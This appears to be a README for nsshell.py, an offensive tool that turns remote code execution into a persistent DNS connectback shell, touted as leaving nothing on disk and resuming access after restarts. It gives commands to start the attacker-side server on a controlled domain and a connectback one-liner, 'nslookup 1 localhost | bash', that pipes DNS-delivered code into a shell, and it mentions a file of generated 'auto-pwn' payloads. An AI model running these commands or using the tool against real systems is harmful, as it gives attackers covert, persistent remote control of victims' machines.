Think sqlmap meets xsshunter - but looking for (blind/nonblind) RCE to get a DNS connectback shell.

• persistent shell (even if you exit nsshell.py)
• doesn't touch disk
• resumes access when you restart nsshell.py
• nothing to install or compile for the target
• the target can use their own trusted DNS resolver - or automatically upgrade to a direct connection for speed

Start: The tool needs to know which domain it has control over:

sudo ./nsshell.py host.com 123.123.123.112

wrote connectback payloads to:payloads.txt

The file above contains a list of auto-pwns. Run one of the payloads and a persistent shell will be loaded over DNS.

install

sudo make install

Run Server - localhost for testing

sudo python nsshell.py localhost 127.0.0.1

Spawn Connectback shell - localhost for testing

nslookup 1 localhost | bash

That's all folks!
